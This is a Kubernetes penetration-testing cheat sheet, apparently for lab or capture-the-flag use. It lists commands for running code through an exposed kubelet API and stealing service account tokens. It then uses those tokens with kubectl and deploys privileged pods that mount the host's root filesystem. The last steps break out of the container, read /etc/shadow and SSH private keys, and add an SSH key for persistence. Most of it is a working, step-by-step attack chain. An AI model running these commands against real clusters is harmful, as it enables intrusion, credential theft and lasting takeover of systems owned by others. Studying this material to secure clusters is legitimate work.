# Kubernetes Pentesting

***

## Common Ports

| Port      | Service        | Description                  |
| --------- | -------------- | ---------------------------- |
| 6443/8443 | kube-apiserver | Kubernetes API (HTTPS)       |
| 10250     | kubelet        | Kubelet API (HTTPS)          |
| 10255     | kubelet        | Kubelet read-only API (HTTP) |
| 10256     | kube-proxy     | Health check                 |
| 2379/2380 | etcd           | Key-value store              |
| 10249     | kube-proxy     | Metrics                      |

***

## Discovery

### Identifying Kubernetes

```bash
# SSL cert inspection reveals K8s
curl -k https://TARGET:8443/
# Response contains: "User \"system:anonymous\" cannot get path"
# Headers: X-Kubernetes-Pf-Flowschema-Uid

# Check common endpoints
curl -k https://TARGET:8443/version
curl -k https://TARGET:8443/healthz
curl -k https://TARGET:8443/readyz
curl -k https://TARGET:8443/livez
curl -k https://TARGET:8443/api
curl -k https://TARGET:8443/api/v1
```

### SSL Certificate Indicators

```
commonName=minikube/organizationName=system:masters
DNS:kubernetes.default.svc.cluster.local
DNS:kubernetes.default.svc
DNS:kubernetes.default
DNS:kubernetes
```

***

## Kubelet API (Port 10250)

The Kubelet API is often exposed and may allow unauthenticated access.

### Manual Enumeration

```bash
# List pods
curl -k https://TARGET:10250/pods

# Get metrics
curl -k https://TARGET:10250/metrics

# Run command in container
curl -k https://TARGET:10250/run/<namespace>/<pod>/<container> -d "cmd=id"
```

### kubeletctl Tool

```bash
# Download
wget https://github.com/cyberark/kubeletctl/releases/download/v1.13/kubeletctl_linux_amd64
chmod +x kubeletctl_linux_amd64

# List pods
./kubeletctl_linux_amd64 pods --server TARGET

# Scan for service account tokens
./kubeletctl_linux_amd64 scan token --server TARGET

# Scan for RCE-capable pods
./kubeletctl_linux_amd64 scan rce --server TARGET

# Run command on all pods
./kubeletctl_linux_amd64 run "id" --all-pods --server TARGET

# Run command on specific pod
./kubeletctl_linux_amd64 run "ls /" --namespace default --pod nginx --container nginx --server TARGET

# Get interactive shell
./kubeletctl_linux_amd64 -s TARGET exec "/bin/bash" -p nginx -c nginx
```

***

## Service Account Token Extraction

Tokens are mounted inside pods at predictable paths:

```bash
# Common token locations
/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/token
/secrets/kubernetes.io/serviceaccount

# Extract token via kubeletctl
./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/token" \
  --namespace default --pod nginx --container nginx --server TARGET

# Also grab the CA cert
./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \
  --namespace default --pod nginx --container nginx --server TARGET
```

***

## kubectl with Stolen Token

```bash
# Set token variable
export TOKEN="eyJhbGci..."

# Basic enumeration
kubectl get pods --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# Get pod details
kubectl get pod nginx -n default -o yaml --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# Check permissions
kubectl auth can-i --list --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# List namespaces
kubectl get namespaces --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# List secrets
kubectl get secrets --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true
```

***

## Privilege Escalation via Malicious Pod

If you have pod creation privileges, mount the host filesystem:

### Basic Host Mount Pod

```yaml
# malicious-pod.yaml
apiVersion: v1 
kind: Pod
metadata:
  name: pwned-pod
  namespace: default
spec:
  containers:
  - name: pwned-pod
    image: nginx:1.14.2
    volumeMounts: 
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:  
      path: /
  automountServiceAccountToken: true
  hostNetwork: true
```

### Privileged Pod with Host Access

```yaml
# priv-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: everything-allowed-pod
  labels:
    app: pentest
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
    - name: pwned
      image: alpine
      securityContext:
        privileged: true
      volumeMounts:
        - mountPath: /host
          name: noderoot
      command: [ "/bin/sh", "-c", "--" ]
      args: [ "sleep infinity" ]
  volumes:
    - name: noderoot
      hostPath:
        path: /
```

### Deploy and Access

```bash
# Create the pod
kubectl apply -f malicious-pod.yaml -n default \
  --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# Get shell via kubeletctl
./kubeletctl_linux_amd64 -s TARGET exec "/bin/bash" -p pwned-pod -c pwned-pod

# Access host filesystem
ls -la /mnt/root/
cat /mnt/root/root.txt
cat /mnt/etc/shadow

# Add SSH key for persistence
echo "ssh-rsa AAAA..." >> /mnt/root/.ssh/authorized_keys
```

***

## Container Breakout Techniques

### Via Host Mount

```bash
# If /host or /mnt is mounted to /
chroot /host /bin/bash

# Or just access files directly
cat /host/etc/shadow
cat /host/root/.ssh/id_rsa
```

### Via Privileged Container

```bash
# Mount host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Access host
ls /mnt/host/root
```

***

## Useful API Endpoints

```bash
# API Server (8443/6443)
/api                      # API groups
/api/v1                   # Core API resources
/api/v1/namespaces        # List namespaces
/api/v1/pods              # List all pods
/api/v1/secrets           # List secrets
/apis                     # API groups
/healthz                  # Health check
/version                  # K8s version

# Kubelet (10250)
/pods                     # List pods
/metrics                  # Prometheus metrics
/run/<ns>/<pod>/<cont>    # Run command
/exec/<ns>/<pod>/<cont>   # Exec into container
/logs/<ns>/<pod>/<cont>   # Get logs
```

***

## Quick Reference

```bash
# Full attack chain
# 1. Enumerate pods via kubelet
./kubeletctl pods --server TARGET

# 2. Extract service account token
./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/token" \
  --namespace default --pod PODNAME --container CONTAINERNAME --server TARGET

# 3. Check permissions
kubectl auth can-i --list --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# 4. If can create pods, deploy malicious pod
kubectl apply -f malicious-pod.yaml --server=https://TARGET:8443 --token=$TOKEN --insecure-skip-tls-verify=true

# 5. Get shell and access host
./kubeletctl -s TARGET exec "/bin/bash" -p pwned-pod -c pwned-pod
cat /mnt/root/root.txt
```

***

## References

* <https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/kubernetes-enumeration.html>
* <https://github.com/cyberark/kubeletctl>
